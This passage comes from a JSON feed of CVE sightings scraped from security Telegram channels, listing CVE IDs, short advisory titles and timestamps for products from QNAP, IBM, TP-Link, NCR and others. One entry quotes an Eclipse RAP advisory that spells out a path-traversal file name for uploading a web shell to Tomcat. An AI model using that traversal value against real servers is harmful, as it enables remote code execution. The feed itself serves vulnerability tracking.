"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47745", "type": "seen", "source": "https://t.me/ctinow/198718", "content": "https://ift.tt/OLIBDtN\nCVE-2023-47745", "creation_timestamp": "2024-03-03T13:26:53.000000Z"}, {"uuid": "1b3e9612-3596-42a1-8d2a-b1579166e863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47020", "type": "seen", "source": "https://t.me/ctinow/198335", "content": "https://ift.tt/48tMm2j\nCVE-2023-47020 | NCR Terminal Handler up to 1.5.1 WSDL cross-site request forgery", "creation_timestamp": "2024-03-02T12:41:42.000000Z"}, {"uuid": "6bd1c7c8-149d-443e-b013-42c6b18e6a22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47537", "type": "seen", "source": "https://t.me/ctinow/198406", "content": "https://ift.tt/oTpQAi2\nCVE-2023-47537 | Fortinet FortiOS up to 7.0.x/7.2.6/7.4.1 certificate validation (FG-IR-23-301)", "creation_timestamp": "2024-03-02T16:11:50.000000Z"}, {"uuid": "fa7d3a6e-2737-41b8-844d-d7a01283180d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47742", "type": "seen", "source": "https://t.me/ctinow/198745", "content": "https://ift.tt/BRg0ZnS\nCVE-2023-47742", "creation_timestamp": "2024-03-03T14:31:31.000000Z"}, {"uuid": "8508e6d7-ae8e-4bf2-b857-357ee8b1597c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47742", "type": "seen", "source": "https://t.me/ctinow/198741", "content": "https://ift.tt/BRg0ZnS\nCVE-2023-47742", "creation_timestamp": "2024-03-03T14:26:39.000000Z"}, {"uuid": "75a95301-1ae0-45d7-abd9-de7f03e0e362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47131", "type": "seen", "source": "https://t.me/ctinow/198438", "content": "https://ift.tt/vHozNBQ\nCVE-2023-47131 | N-able PassPortal Extension up to 3.29.1 on Chrome log file", "creation_timestamp": "2024-03-02T18:21:47.000000Z"}, {"uuid": "0778c512-b36e-4020-8fc8-010991e9c933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47132", "type": "seen", "source": "https://t.me/ctinow/198430", "content": "https://ift.tt/jB3hTE8\nCVE-2023-47132 | N-able N-central prior 2023.6 API Privilege Escalation", "creation_timestamp": "2024-03-02T17:41:41.000000Z"}, {"uuid": "b82a2c53-535d-43ba-997e-4b2909d54651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47700", "type": "seen", "source": "https://t.me/ctinow/197988", "content": "https://ift.tt/EI9SuvX\nCVE-2023-47700 | IBM SAN Volume Controller certificate validation (XFDB-271016)", "creation_timestamp": "2024-03-01T21:16:38.000000Z"}, {"uuid": "9598f03e-13b6-4c86-a0b8-3eaa1f5541c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47691", "type": "seen", "source": "https://t.me/ctinow/202482", "content": "https://ift.tt/M3LZCp4\nCVE-2023-47691", "creation_timestamp": "2024-03-07T15:32:12.000000Z"}, {"uuid": "706fa7e0-7351-4ab6-bcac-d57b6be17e71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47415", "type": "seen", "source": "https://t.me/ctinow/202003", "content": "https://ift.tt/xuhgKC0\nCVE-2023-47415", "creation_timestamp": "2024-03-07T02:27:05.000000Z"}, {"uuid": "05aa4d93-ee8f-43ab-b73b-f93af2763ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47618", "type": "seen", "source": "https://t.me/ctinow/197565", "content": "https://ift.tt/wJxSrdt\nCVE-2023-47618 | TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 Build 20230322 Rel.70591 Web Filtering os command injection (TALOS-2023-1859)", "creation_timestamp": "2024-03-01T12:41:23.000000Z"}, {"uuid": "dd6f7ff8-a7b0-4135-87a2-feb033a1d620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47617", "type": "seen", "source": "https://t.me/ctinow/197543", "content": "https://ift.tt/DFmujck\nCVE-2023-47617 | TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 Build 20230322 Rel.70591 Web Group Member os command injection (TALOS-2023-1858)", "creation_timestamp": "2024-03-01T12:11:07.000000Z"}, {"uuid": "a2827cd8-a633-471a-a7f0-bd314d2bc71e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47209", "type": "seen", "source": "https://t.me/ctinow/197542", "content": "https://ift.tt/RQ9Culj\nCVE-2023-47209 | TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 Build 20230322 Rel.70591 IPsec Policy os command injection (TALOS-2023-1854)", "creation_timestamp": "2024-03-01T12:11:06.000000Z"}, {"uuid": "af5d023a-b343-462d-9196-195b5e061c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47167", "type": "seen", "source": "https://t.me/ctinow/197541", "content": "https://ift.tt/Iu9Oywh\nCVE-2023-47167 | TP-Link ER7206 Omada Gigabit VPN Router 1.3.0 Build 20230322 Rel.70591 GRE Policy os command injection (TALOS-2023-1855)", "creation_timestamp": "2024-03-01T12:11:05.000000Z"}, {"uuid": "f7749ad7-effb-435d-95e8-92a1d9cb094b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47716", "type": "seen", "source": "https://t.me/ctinow/197272", "content": "https://ift.tt/VYBRfzv\nCVE-2023-47716", "creation_timestamp": "2024-03-01T04:21:57.000000Z"}, {"uuid": "e362efb2-5282-4e7e-af32-5b7e636d58e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47716", "type": "seen", "source": "https://t.me/ctinow/197275", "content": "https://ift.tt/VYBRfzv\nCVE-2023-47716", "creation_timestamp": "2024-03-01T04:31:58.000000Z"}, {"uuid": "c2224604-b211-4f75-9bdf-6e1a2f454eaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47691", "type": "seen", "source": "https://t.me/ctinow/202479", "content": "https://ift.tt/M3LZCp4\nCVE-2023-47691", "creation_timestamp": "2024-03-07T15:26:14.000000Z"}, {"uuid": "65bfdac3-bbc5-4176-8f8d-4923ee06ba5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47415", "type": "seen", "source": "https://t.me/ctinow/201991", "content": "https://ift.tt/xuhgKC0\nCVE-2023-47415", "creation_timestamp": "2024-03-07T02:26:51.000000Z"}, {"uuid": "0cfd134e-0fdc-4580-b00c-e266fa28916f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47874", "type": "seen", "source": "https://t.me/ctinow/196284", "content": "https://ift.tt/dE8H4Bb\nCVE-2023-47874", "creation_timestamp": "2024-02-29T07:26:31.000000Z"}, {"uuid": "b72ddeb3-13a4-4a76-a149-794c1e0102dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47022", "type": "seen", "source": "https://t.me/ctinow/196694", "content": "https://ift.tt/IlODy4w\nCVE-2023-47022 | NCR Terminal Handler 1.5.1 Script payload authorization", "creation_timestamp": "2024-02-29T14:52:05.000000Z"}, {"uuid": "03675117-8dfe-4d55-9f11-1340169c3dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47889", "type": "seen", "source": "https://t.me/ctinow/196693", "content": "https://ift.tt/WXrxwIO\nCVE-2023-47889 | com.bdrm.superreboot up to 1.0.3 on Android unknown vulnerability", "creation_timestamp": "2024-02-29T14:52:04.000000Z"}, {"uuid": "c7e9ecc3-645f-49da-a6f8-1ca51a17ab65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47354", "type": "seen", "source": "https://t.me/ctinow/196718", "content": "https://ift.tt/qhuiyfA\nCVE-2023-47354 | com.bdrm.superreboot 1.0.3 Intent PowerOffWidgetReceiver unknown vulnerability", "creation_timestamp": "2024-02-29T15:21:39.000000Z"}, {"uuid": "510c77f7-e091-4936-b08a-e7e01535ab7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47874", "type": "seen", "source": "https://t.me/ctinow/196267", "content": "https://ift.tt/dE8H4Bb\nCVE-2023-47874", "creation_timestamp": "2024-02-29T07:21:53.000000Z"}, {"uuid": "3f9bfa5a-b753-4de6-a3b7-aae9272a4668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47795", "type": "seen", "source": "https://t.me/ctinow/189680", "content": "https://ift.tt/rfYqjCJ\nCVE-2023-47795", "creation_timestamp": "2024-02-21T15:31:39.000000Z"}, {"uuid": "4890ac3e-73b1-436d-a739-e981d63f25f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47795", "type": "seen", "source": "https://t.me/ctinow/189668", "content": "https://ift.tt/rfYqjCJ\nCVE-2023-47795", "creation_timestamp": "2024-02-21T15:21:48.000000Z"}, {"uuid": "963b6268-9516-4508-8b6a-1dca6ff60dc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47422", "type": "seen", "source": "https://t.me/ctinow/188998", "content": "https://ift.tt/Hw6MI43\nCVE-2023-47422", "creation_timestamp": "2024-02-20T23:26:52.000000Z"}, {"uuid": "fdedcca4-405a-4a6f-afb2-ff1592fdf0c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47635", "type": "seen", "source": "https://t.me/ctinow/188839", "content": "https://ift.tt/IwQ7AhN\nCVE-2023-47635", "creation_timestamp": "2024-02-20T19:27:09.000000Z"}, {"uuid": "ec19d8a5-8bc1-446d-b6cc-23ed38ce1055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47422", "type": "seen", "source": "https://t.me/ctinow/189006", "content": "https://ift.tt/Hw6MI43\nCVE-2023-47422", "creation_timestamp": "2024-02-20T23:27:05.000000Z"}, {"uuid": "b906080b-2128-4d6f-8c10-6f08d3b3d5bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47635", "type": "seen", "source": "https://t.me/ctinow/188855", "content": "https://ift.tt/IwQ7AhN\nCVE-2023-47635", "creation_timestamp": "2024-02-20T19:31:50.000000Z"}, {"uuid": "89856ca7-af43-4d25-b1e7-f0e27529daa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47526", "type": "seen", "source": "https://t.me/ctinow/192906", "content": "https://ift.tt/th53cyl\nCVE-2023-47526 | Chartify Plugin up to 2.0.6 on WordPress cross site scripting", "creation_timestamp": "2024-02-25T15:16:22.000000Z"}, {"uuid": "e449807b-ecd2-45ad-ac31-dbc60b4fbc2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47562", "type": "seen", "source": "https://t.me/ctinow/192813", "content": "https://ift.tt/nSb6wIj\nCVE-2023-47562 | QNAP Photo Station 6.4.2 os command injection (qsa-24-08)", "creation_timestamp": "2024-02-25T10:11:14.000000Z"}, {"uuid": "251d1a16-8026-4587-b2f1-b43354e1b752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47257", "type": "seen", "source": "https://t.me/ctinow/192643", "content": "https://ift.tt/wi9PC3f\nCVE-2023-47257 | ConnectWise ScreenConnect up to 23.8.4 channel accessible", "creation_timestamp": "2024-02-24T16:11:34.000000Z"}, {"uuid": "cf4f6a29-ff89-496a-8f53-97e1668e4e99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47561", "type": "seen", "source": "https://t.me/ctinow/192822", "content": "https://ift.tt/ZS8ROQu\nCVE-2023-47561 | QNAP Photo Station 6.4.2 cross site scripting (qsa-24-08)", "creation_timestamp": "2024-02-25T10:41:37.000000Z"}, {"uuid": "418a37f7-0142-4212-b2e4-8d752e921ac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47568", "type": "seen", "source": "https://t.me/ctinow/192810", "content": "https://ift.tt/nIyAiV2\nCVE-2023-47568 | QNAP Systems QTS/QuTS hero/QuTScloud sql injection (qsa-24-05)", "creation_timestamp": "2024-02-25T10:11:10.000000Z"}, {"uuid": "074abf9e-dc5d-4b96-82ca-d5b8203142a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47567", "type": "seen", "source": "https://t.me/ctinow/192809", "content": "https://ift.tt/Z1CcYzM\nCVE-2023-47567 | QNAP Systems QTS/QuTS hero/QuTScloud os command injection (qsa-24-05)", "creation_timestamp": "2024-02-25T10:11:09.000000Z"}, {"uuid": "affc4f5c-88f4-4504-8c08-49f4c5eff82d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47566", "type": "seen", "source": "https://t.me/ctinow/192808", "content": "https://ift.tt/MDVYHAn\nCVE-2023-47566 | QNAP Systems QTS/QuTS hero/QuTScloud os command injection (qsa-24-04)", "creation_timestamp": "2024-02-25T10:11:08.000000Z"}, {"uuid": "7cf1f15f-761d-4383-b457-751d2fab137a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47564", "type": "seen", "source": "https://t.me/ctinow/192807", "content": "https://ift.tt/UqdSCwh\nCVE-2023-47564 | QNAP Qsync Central prior 4.3.0.11/4.4.0.15 permission assignment (qsa-24-03)", "creation_timestamp": "2024-02-25T10:11:06.000000Z"}, {"uuid": "359a788e-a80a-4ccf-8054-733fcd332420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47142", "type": "seen", "source": "https://t.me/ctinow/192799", "content": "https://ift.tt/8k4mtxi\nCVE-2023-47142 | IBM Tivoli Application Dependency Discovery Manager up to 7.3.0.10 access control (XFDB-270267)", "creation_timestamp": "2024-02-25T09:41:51.000000Z"}, {"uuid": "6659e789-4fc0-4004-863b-3034b92efdc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47148", "type": "seen", "source": "https://t.me/ctinow/192795", "content": "https://ift.tt/e7mR0js\nCVE-2023-47148 | IBM Storage Protect Plus Server up to 10.1.15.2 Admin Console authorization (XFDB-270599)", "creation_timestamp": "2024-02-25T09:41:47.000000Z"}, {"uuid": "2625f485-1cef-439f-9d9a-9b91079d9367", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47143", "type": "seen", "source": "https://t.me/ctinow/192794", "content": "https://ift.tt/xwF3tzb\nCVE-2023-47143 | IBM Tivoli Application Dependency Discovery Manager up to 7.3.0.10 http headers for scripting syntax (XFDB-270270)", "creation_timestamp": "2024-02-25T09:41:45.000000Z"}, {"uuid": "45e7d697-7efd-402f-86d0-874b4b45b929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47256", "type": "seen", "source": "https://t.me/ctinow/192626", "content": "https://ift.tt/ASfVQHj\nCVE-2023-47256 | ConnectWise ScreenConnect up to 23.8.4 Proxy Setting access control", "creation_timestamp": "2024-02-24T15:16:55.000000Z"}, {"uuid": "b7ea18d5-e3f7-4a39-937e-1e4629b1a2f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4760", "type": "seen", "source": "https://t.me/cibsecurity/70876", "content": "\u203c CVE-2023-4760 \u203c\n\nIn Eclipse RAP versions from 3.0.0 up to and including 3.25.0, Remote Code Execution is possible on Windows when using the FileUpload component.The reason for this is a not completely secure extraction of the file name in the FileUploadProcessor.stripFileName(String name) method. As soon as this finds a / in the path, everything before it is removed, but potentially \\ (backslashes) coming further back are kept.For example, a file name such as /..\\..\\webapps\\shell.war can be used to upload a file to a Tomcat server under Windows, which is then saved as ..\\..\\webapps\\shell.war in its webapps directory and can then be executed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-21T12:30:57.000000Z"}, {"uuid": "ee69ea6f-6b6f-4a3d-8b4f-bd6d7543d883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47034", "type": "seen", "source": "https://t.me/ctinow/185534", "content": "https://ift.tt/vZLRlBT\nCVE-2023-47034 | UniswapFrontRunBot 0xdB94c denial of service", "creation_timestamp": "2024-02-15T14:21:11.000000Z"}, {"uuid": "d410c71c-b49c-45d9-b827-b1a79e108f89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47033", "type": "seen", "source": "https://t.me/ctinow/185533", "content": "https://ift.tt/EiwBcut\nCVE-2023-47033 | MultiSigWallet 0xF0C99 executeTransaction Privilege Escalation", "creation_timestamp": "2024-02-15T14:21:10.000000Z"}, {"uuid": "2b2c9ea6-1f8f-4e6e-ab28-f2ae438d4e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47867", "type": "seen", "source": "https://t.me/ctinow/187307", "content": "https://ift.tt/jq3cCBA\nCVE-2023-47867 | MachineSense FeverWarn Wi-Fi Host access control (icsa-24-025-01)", "creation_timestamp": "2024-02-18T17:11:47.000000Z"}, {"uuid": "cea2dbe0-e7f4-4f26-8eeb-3912694d6c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47035", "type": "seen", "source": "https://t.me/ctinow/185851", "content": "https://ift.tt/6qXoctx\nCVE-2023-47035 | RPTC 0x3b08c tradingOpen improper authorization", "creation_timestamp": "2024-02-15T20:26:54.000000Z"}, {"uuid": "42e73d41-05eb-4d3e-9054-8919a1c5224a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47024", "type": "seen", "source": "https://t.me/ctinow/185850", "content": "https://ift.tt/l3hUWJm\nCVE-2023-47024 | NCR Terminal Handler 1.5.1 UserSelfService cross-site request forgery", "creation_timestamp": "2024-02-15T20:26:53.000000Z"}, {"uuid": "2758b3b6-92e4-4f16-be90-9fd6dd17b8e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47115", "type": "seen", "source": "https://t.me/ctinow/186970", "content": "https://ift.tt/5CcjGiJ\nCVE-2023-47115 | HumanSignal label-studio up to 1.9.1 users/functions.py cross site scripting (GHSA-q68h-xwq5-mm7x)", "creation_timestamp": "2024-02-17T16:46:50.000000Z"}, {"uuid": "78650dcd-006e-40b8-8445-5a6feddfe166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47152", "type": "seen", "source": "https://t.me/ctinow/186221", "content": "https://ift.tt/rCoBKut\nCVE-2023-47152 | IBM DB2/DB2 Connect Server 11.5 risky encryption (XFDB-270730)", "creation_timestamp": "2024-02-16T10:11:37.000000Z"}, {"uuid": "2a78587e-dfa1-4b9c-bd7e-8a9d2dadb9d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47747", "type": "seen", "source": "https://t.me/ctinow/186226", "content": "https://ift.tt/LB4WzAZ\nCVE-2023-47747 | IBM DB2/DB2 Connect Server 10.5/11.1 /11.5 Query denial of service (XFDB-272646)", "creation_timestamp": "2024-02-16T10:11:43.000000Z"}, {"uuid": "b8cc28a0-37b0-4385-a487-a54553ca7a95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47158", "type": "seen", "source": "https://t.me/ctinow/186225", "content": "https://ift.tt/lQWSeon\nCVE-2023-47158 | IBM DB2/DB2 Connect Server 10.5/11.1 /11.5 Query denial of service (XFDB-270750)", "creation_timestamp": "2024-02-16T10:11:42.000000Z"}, {"uuid": "395638f7-4a1e-45c0-8051-ff29c0cb7dd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47746", "type": "seen", "source": "https://t.me/ctinow/186224", "content": "https://ift.tt/Renfb2q\nCVE-2023-47746 | IBM DB2/DB2 Connect Server 10.5/11.1/11.5 Query denial of service (XFDB-272644)", "creation_timestamp": "2024-02-16T10:11:41.000000Z"}, {"uuid": "4fcdf317-364f-4776-b2df-bc9c36a7efcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47141", "type": "seen", "source": "https://t.me/ctinow/186223", "content": "https://ift.tt/Kdefxwq\nCVE-2023-47141 | IBM DB2/DB2 Connect Server 11.5 on Linux Query denial of service (XFDB-270264)", "creation_timestamp": "2024-02-16T10:11:40.000000Z"}, {"uuid": "6bcd0f9d-8d2b-4979-8c0d-c62bb43d2159", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47352", "type": "seen", "source": "https://t.me/ctinow/186190", "content": "https://ift.tt/OQUa5Vw\nCVE-2023-47352 | Technicolor TC8715D WPA2 information disclosure", "creation_timestamp": "2024-02-16T08:46:18.000000Z"}, {"uuid": "914b3bd6-9aac-44a4-8405-fe7bde2d6d45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47537", "type": "seen", "source": "https://t.me/ctinow/185611", "content": "https://ift.tt/BYnTPqE\nCVE-2023-47537", "creation_timestamp": "2024-02-15T15:31:37.000000Z"}, {"uuid": "d5990e6f-b22e-4648-8db2-0625f9165338", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47618", "type": "seen", "source": "https://t.me/ctinow/180207", "content": "https://ift.tt/d4Yj3fb\nCVE-2023-47618", "creation_timestamp": "2024-02-06T18:27:01.000000Z"}, {"uuid": "ee4c71b1-7143-4f2d-814f-d574c5cb5e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47617", "type": "seen", "source": "https://t.me/ctinow/180206", "content": "https://ift.tt/mX48aCZ\nCVE-2023-47617", "creation_timestamp": "2024-02-06T18:27:00.000000Z"}, {"uuid": "ae1a2a4b-9d8a-4ebc-956a-9a98acf22597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47209", "type": "seen", "source": "https://t.me/ctinow/180205", "content": "https://ift.tt/9ygkM1C\nCVE-2023-47209", "creation_timestamp": "2024-02-06T18:26:59.000000Z"}, {"uuid": "74d61e16-9db3-4609-8e2b-e7102b84b0b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47167", "type": "seen", "source": "https://t.me/ctinow/180204", "content": "https://ift.tt/qdVnkAv\nCVE-2023-47167", "creation_timestamp": "2024-02-06T18:26:55.000000Z"}, {"uuid": "f9f90499-d04f-45b0-b053-fab7d32f7921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47700", "type": "seen", "source": "https://t.me/ctinow/180878", "content": "https://ift.tt/rZzvlOE\nCVE-2023-47700", "creation_timestamp": "2024-02-07T18:32:19.000000Z"}, {"uuid": "567fe798-e1ff-4435-becb-9911b25790b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47353", "type": "seen", "source": "https://t.me/ctinow/179673", "content": "https://ift.tt/W6R9TjQ\nCVE-2023-47353", "creation_timestamp": "2024-02-06T02:26:46.000000Z"}, {"uuid": "e01f8786-55e8-45da-bf97-4c2268278341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47022", "type": "seen", "source": "https://t.me/ctinow/179672", "content": "https://ift.tt/PWqDg08\nCVE-2023-47022", "creation_timestamp": "2024-02-06T02:26:45.000000Z"}, {"uuid": "686d249b-f3a6-47a2-9c4c-6d75288ca684", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4797", "type": "seen", "source": "https://t.me/ctinow/179856", "content": "https://ift.tt/VOzMx5I\nCVE-2023-4797 | SendPress Newsletters Plugin up to 4.9.2 on WordPress sql injection", "creation_timestamp": "2024-02-06T09:41:28.000000Z"}, {"uuid": "eb438b48-8e8e-4204-8887-3e8d515c9ab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47353", "type": "seen", "source": "https://t.me/ctinow/184204", "content": "https://ift.tt/yJgP6qM\nCVE-2023-47353 Exploit", "creation_timestamp": 